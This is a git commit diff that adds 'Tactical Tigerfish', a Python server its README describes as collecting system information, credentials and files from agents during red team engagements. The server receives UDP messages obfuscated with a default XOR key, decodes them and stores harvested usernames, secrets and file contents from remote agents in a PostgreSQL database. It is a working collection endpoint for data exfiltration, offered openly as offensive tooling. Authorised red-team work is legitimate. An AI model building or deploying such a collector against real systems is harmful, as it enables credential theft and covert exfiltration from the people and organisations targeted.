commit 64c58bde7632674c19dd4c2b5f83e30fb4ccedb8 Author: connorgadbois Date: Fri Mar 27 12:27:18 2026 -0500 Initial commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..8df4289 --- /dev/null +++ b/README.md @@ -0,0 +1,26 @@ +# Tactical Tigerfish + +Tactical Tigerfish is a logging server for system information, credentials, and files in red team engagements. + +## Setup +### Install Requirements +```bash +pip install -r requirements.txt +``` + +### Configure +Either: + +Update `ttf-server/config.yml` with your config values + +**or** + +Set environment variables + +> **Note:** The values from `config.yml` are only used when `--debug` is passed when running the server. + +### Run The Server +```bash +cd ttf-server +python3 ttf-server.py +``` diff --git a/ttf-server/config.yml b/ttf-server/config.yml new file mode 100644 index 0000000..469576e --- /dev/null +++ b/ttf-server/config.yml @@ -0,0 +1,13 @@ +ttf_host: 0.0.0.0 +ttf_port: 3424 + +ttf_key: asdf + +ttf_postgres_host: +ttf_postgres_db_name: +ttf_postgres_user: +ttf_postgres_password: + +ttf_log_file: ttf.log +ttf_print_logs: true +ttf_write_logs: true \ No newline at end of file diff --git a/ttf-server/requirements.txt b/ttf-server/requirements.txt new file mode 100644 index 0000000..f3b4fe9 --- /dev/null +++ b/ttf-server/requirements.txt @@ -0,0 +1,2 @@ +psycopg2-binary +peewee diff --git a/ttf-server/tactical-tigerfish.py b/ttf-server/tactical-tigerfish.py new file mode 100644 index 0000000..1bdd951 --- /dev/null +++ b/ttf-server/tactical-tigerfish.py @@ -0,0 +1,4 @@ +import ttf + +server = ttf.TTFServer(ttf.config.config['ttf_host'], ttf.config.config['ttf_port']) +server.start() diff --git a/ttf-server/ttf/__init__.py b/ttf-server/ttf/__init__.py new file mode 100644 index 0000000..13b0e70 --- /dev/null +++ b/ttf-server/ttf/__init__.py @@ -0,0 +1,10 @@ +import sys + +from .config import load_config + +if '--debug' in sys.argv: + load_config(debug=True) +else: + load_config() + +from .server import TTFServer diff --git a/ttf-server/ttf/config.py b/ttf-server/ttf/config.py new file mode 100644 index 0000000..0054c8b --- /dev/null +++ b/ttf-server/ttf/config.py @@ -0,0 +1,28 @@ +import yaml +import os + +config = {} + +def parse_bool_env(var_name: str, default: str) -> bool: + value = str(os.environ.get(var_name, default)).strip().lower() + return value in ('1', 'true', 'yes', 'on') + +def load_config(debug: bool = False): + global config + + if debug: + with open('config.yml', 'r') as config_file: + config = yaml.safe_load(config_file) + else: + config = { + 'ttf_host': str(os.environ.get('TTF_HOST', '0.0.0.0')), + 'ttf_port': int(os.environ.get('TTF_PORT', 3424)), + 'ttf_key': str(os.environ.get('TTF_KEY', 'asdf')), + 'ttf_postgres_host': str(os.environ.get('TTF_POSTGRES_HOST')), + 'ttf_postgres_db_name': str(os.environ.get('TTF_POSTGRES_DB_NAME')), + 'ttf_postgres_user': str(os.environ.get('TTF_POSTGRES_USER')), + 'ttf_postgres_password': str(os.environ.get('TTF_POSTGRES_PASSWORD')), + 'ttf_log_file': str(os.environ.get('TTF_LOG_FILE', 'ttf.log')), + 'ttf_print_logs': parse_bool_env('TTF_PRINT_LOGS', 'true'), + 'ttf_write_logs': parse_bool_env('TTF_WRITE_LOGS', 'true'), + } diff --git a/ttf-server/ttf/database.py b/ttf-server/ttf/database.py new file mode 100644 index 0000000..37c5213 --- /dev/null +++ b/ttf-server/ttf/database.py @@ -0,0 +1,49 @@ +import peewee + +from .config import config + +db = peewee.PostgresqlDatabase(config['ttf_postgres_db_name'], user=config['ttf_postgres_user'], host=config['ttf_postgres_host'], password=config['ttf_postgres_password']) + +class Log(peewee.Model): + agent_id = peewee.CharField(null=False) + timestamp = peewee.BigIntegerField(null=False) + tag = peewee.CharField() + log = peewee.CharField(null=False) + + class Meta: + database = db + db_table = 'logs' + +class Credential(peewee.Model): + agent_id = peewee.CharField(null=False) + timestamp = peewee.BigIntegerField(null=False) + username = peewee.CharField(null=False) + secret = peewee.CharField(null=False) + type = peewee.CharField(null=False) + service = peewee.CharField(null=True) + + class Meta: + database = db + db_table = 'credentials' + +class File(peewee.Model): + agent_id = peewee.CharField(null=False) + timestamp = peewee.BigIntegerField(null=False) + name = peewee.CharField(null=False) + path = peewee.CharField(null=True) + data = peewee.CharField(null=False) + + class Meta: + database = db + db_table = 'files' + +class Agent(peewee.Model): + agent_id = peewee.CharField(null=False) + last_log = peewee.BigIntegerField(null=False) + logs = peewee.BigIntegerField(null=False, default=0) + + class Meta: + database = db + db_table = 'agents' + +db.create_tables([Log, Agent, Credential, File]) diff --git a/ttf-server/ttf/logging.py b/ttf-server/ttf/logging.py new file mode 100644 index 0000000..f37811c --- /dev/null +++ b/ttf-server/ttf/logging.py @@ -0,0 +1,17 @@ +from .config import config +from datetime import datetime + +class LogLevel: + INFO = '[INFO]' + WARN = '[WARNING]' + ERROR = '[ERROR]' + +def log_message(level: LogLevel, message: str) -> None: + log = f'{level} - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")} - {message}\n' + + if config['ttf_print_logs']: + print(log, end='') + + if config['ttf_write_logs']: + with open(config['ttf_log_file'], 'a') as log_file: + log_file.write(log) diff --git a/ttf-server/ttf/server.py b/ttf-server/ttf/server.py new file mode 100644 index 0000000..f20477f --- /dev/null +++ b/ttf-server/ttf/server.py @@ -0,0 +1,79 @@ +import socket +import threading +import random +import json +import time + +from .config import config +from . import database +from .logging import log_message, LogLevel + +class TTFServer: + def __init__(self, host: str, port: int) -> None: + self.host = host + self.port = port + + self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self.server_socket.bind((self.host, self.port)) + + self.key = config['ttf_key'] + + def __xor_message(self, msg: str) -> str: + xored = '' + + for i in range(len(msg)): + xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)])) + + return(xored) + + def __client_handler(self, address: tuple, msg: bytes) -> None: + log_message(LogLevel.INFO, f'Connection from {address[0]}') + + try: + message_json = json.loads(self.__xor_message(msg.decode('utf-8'))) + + # Do we already have the agent? + if len(database.Agent.select().where(database.Agent.agent_id == message_json['id']).dicts()) == 0: + database.Agent.create(agent_id=message_json['id'], last_log=round(time.time()), logs=0) # Add it + + # Get report type + if 'logs' in message_json: # Logs + for log in message_json['logs']: + database.Log.create(agent_id=message_json['id'], timestamp=round(time.time()), tag=log['tag'], log=log['log']) + + elif 'creds' in message_json: # Credentials + for credential in message_json['creds']: + cred_service = None + if 'service' in credential: + cred_service = credential['service'] + + database.Credential.create(agent_id=message_json['id'], timestamp=round(time.time()), username=credential['user'], secret=credential['secret'], type=credential['type'], service=cred_service) + + elif 'files' in message_json: # Files + for file in message_json['files']: + file_path = None + if 'path' in file: + file_path = file['path'] + + database.File.create(agent_id=message_json['id'], timestamp=round(time.time()), name=file['name'], path=file_path, data=file['data']) + + else: # Report does not have a log + log_message(LogLevel.WARN, f'{address[0]} sent a report with no type.') + + # Update the agent's logs count and last_log + database.Agent.update(logs=database.Agent.logs + 1, last_log=round(time.time())).where(database.Agent.agent_id == message_json['id']).execute() + + log_message(LogLevel.INFO, f'{address[0]}\'s message: {str(message_json)}') + + except Exception as e: + log_message(LogLevel.ERROR, f'Failed to proccess message from {address[0]}. Error: {e}') + + def start(self) -> None: + while True: + try: + msg, address = self.server_socket.recvfrom(1024) + + client = threading.Thread(target=self.__client_handler, args=(address,msg)) + client.start() + except Exception as e: + log_message(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}. Reason: {e}')